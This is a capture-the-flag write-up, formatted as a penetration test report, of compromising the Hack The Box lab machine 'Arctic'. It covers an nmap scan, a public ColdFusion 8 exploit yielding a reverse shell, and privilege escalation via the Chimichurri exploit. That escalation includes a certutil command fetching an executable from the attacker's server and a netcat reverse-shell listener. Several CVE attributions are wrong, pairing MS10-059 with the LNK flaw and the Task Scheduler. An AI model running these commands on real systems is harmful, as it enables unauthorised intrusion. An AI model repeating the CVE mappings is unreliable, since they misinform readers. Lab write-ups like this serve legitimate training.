Hack The Box Penetration Test Report

Machine Name: HTB-Arctic

Author: Prince.

Severity: Critical

Vulnerability: Unauthenticated Remote Code Execution via exposed ColdFusion 8 administrator interface (CFIDE/administrator).

Date: 28th May 2025

Table of Contents

1. Executive Summary

This penetration test targeted the Hack The Box machine HTB-Arctic in a black-box scenario. The objective was to assess the security posture, identify vulnerabilities, and simulate a real-world attack to achieve system compromise. The assessment resulted in full SYSTEM-level access through exploitation of an outdated and misconfigured ColdFusion instance. This report outlines the attack path, technical findings, and actionable remediation guidance.

2. Risk Rating

Vulnerability	CVE	CVSS v3.1 Score	Impact	Severity
Adobe ColdFusion 8 RCE	CVE-2009-3960	10.0 (Critical)	Remote code execution without authentication	Critical
Windows Task Scheduler Privilege Escalation	CVE-2010-2568 (MS10-059)	6.8 (High)	Local privilege escalation to SYSTEM	High

3. Methodology

1. Reconnaissance: Identified port 8500 open via Nmap, accessed the web interface and discovered a ColdFusion 8 login page under the CFIDE/ directory.
2. Enumeration: Verified the ColdFusion version and located and applicable Python exploit (50057.py) using Searchsploit.
3. Exploitation: Configured and executed the exploit script, resulting in a reverse shell on the attacker machine.
4. Privilege Escalation: Transferred the Chimichurri exploit (CVE-2010-2568) to the target via a Python HTTP server. Started a Netcat listener on the attacker machine and ran the exploit to gain SYSTEM access.
5. Conclusion: Achieved full system compromise. All steps were logged, and actionable mitigation strategies were proposed.

4. Target Information

- IP Address: 10.10.10.11
- Machine Name: HTB-Arctic
- Operating System: Windows

5. Reconnaissance

Command Used:

```
sudo nmap -sT -sCV -T4 10.10.10.11
```

Open Ports:

- 135/tcp - MSRPC (Microsoft Windows RPC)
- 8500/tcp - FMTP
- 49154/tcp - MSRPC (Microsoft Windows RPC)

```
┌─[us-vip-9]─[10.10.14.15]─[kingpaimon666@htb-uwijpj41kd]─[~]
└──╼ [★]$ sudo nmap -sT -sCV -T4 10.10.10.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 09:55 CDT
Nmap scan report for 10.10.10.11
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

6. Exploitation

A publicly available Python exploit script (50057.py) targeting a known Remote Code Execution vulnerability in Adobe ColdFusion 8 (CVE-2009-3960) was used to gain initial access to the system.

Steps to Reproduce

- Identified potential vulnerabilities by searching for ColdFusion 8 exploits using Searchsploit:

```
searchsploit coldfusion 8
```

- Located an applicable Python exploit:

```
searchsploit -m 50057.py
```

- Configured the exploit script with the appropriate parameters:

```
LHOST: tun0
LPORT: 4444
RHOST: 10.10.10.11
RPORT: 8500
```

- Executed the exploit script:

```
python3 50057.py
```

- A reverse shell was successfully established, granting remote command execution on the target system.

```
C:\ColdFusion8\runtime\bin>whoami
whoami
arctic\tolis
```

7. Privilege Escalation

Privilege escalation was achieved using the Chimichurri exploit (MS10-059 / CVE-2010-2568), which abuses a vulnerability in the Windows Task Scheduler to execute arbitrary code with SYSTEM-level privileges.

Steps to Reproduce:

- Hosted the Chimichurri exploit on the attacker machine using a Python HTTP server:

```
python3 -m http.server 8000 --bind 0.0.0.0
```

- On the compromised target machine, downloaded the exploit binary:

```
certutil -urlcache -split -f http://10.10.16.13:8000/MS10-059.exe
shell.exe
```

- Started a Netcat listener on the attacker machine to catch the elevated shell:

```
nc -nvlp 443
```

- Executed the exploit on the target system:

```
.\shell.exe 10.10.16.13 443
```

- Successful execution resulted in a reverse shell with SYSTEM-level privileges on the target machine.

```
┌─[user@parrot]─[~/Desktop]
└──╼ $sudo nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.11 49443
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\temp>whoami
whoami
nt authority\system
```

8. Remediation Recommendation

- Restrict public access to the ColdFusion Administrator panel and ensure it is only accessible from trusted internal networks.
- Immediately apply security patches for ColdFusion, specifically addressing remote code execution vulnerabilities.
- Upgrade from ColdFusion 8 to a supported and secure version.
- Disable or restrict access to unnecessary ports such as 8500 in production environments.
- Regularly audit and rotate credentials, ensuring no weak or default credentials are in use.
- Monitor network traffic for suspicious activity and deploy intrusion detection systems to alert on exploit patterns.
- Conduct regular vulnerability assessments and implement proper segmentation of critical services.

9. Conclusion

The target system HTB-Arctic was compromised by exploiting an unauthenticated Remote Code Execution (RCE) vulnerability in Adobe ColdFusion 8 (CVE-2009-3960), allowing the attacker to gain a foothold. Privilege escalation was later achieved using the MS10-059 (Chimichurri) exploit, leading to SYSTEM-level access. The root cause was an outdated and misconfigured application exposed to the internet without proper access restrictions or patching. This compromise highlights the critical importance of secure software configuration, timely patching, and restricting access to sensitive administrative interfaces. Proactive hardening of legacy systems and deprecation of unsupported software are essential to minimising attack surface.

10. Proof of Access (Flags Captured)

- **user.txt**

```
C:\ColdFusion8\runtime\bin>cd C:\Users\tolis\Desktop\
cd C:\Users\tolis\Desktop\

C:\Users\tolis\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5C03-76A8

 Directory of C:\Users\tolis\Desktop

22/03/2017  10:00 ??    <DIR>          .
22/03/2017  10:00 ??    <DIR>          ..
22/04/2025  07:00 ??                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   1.433.710.592 bytes free

C:\Users\tolis\Desktop>type user.txt
type user.txt
```

- **root.txt**

```
C:\Users\Administrator>cd C:\Users\Administrator\Desktop\
cd C:\Users\Administrator\Desktop\

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5C03-76A8

 Directory of C:\Users\Administrator\Desktop

22/03/2017  10:02 ??    <DIR>          .
22/03/2017  10:02 ??    <DIR>          ..
26/04/2025  11:55 ??                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   1.431.085.056 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
```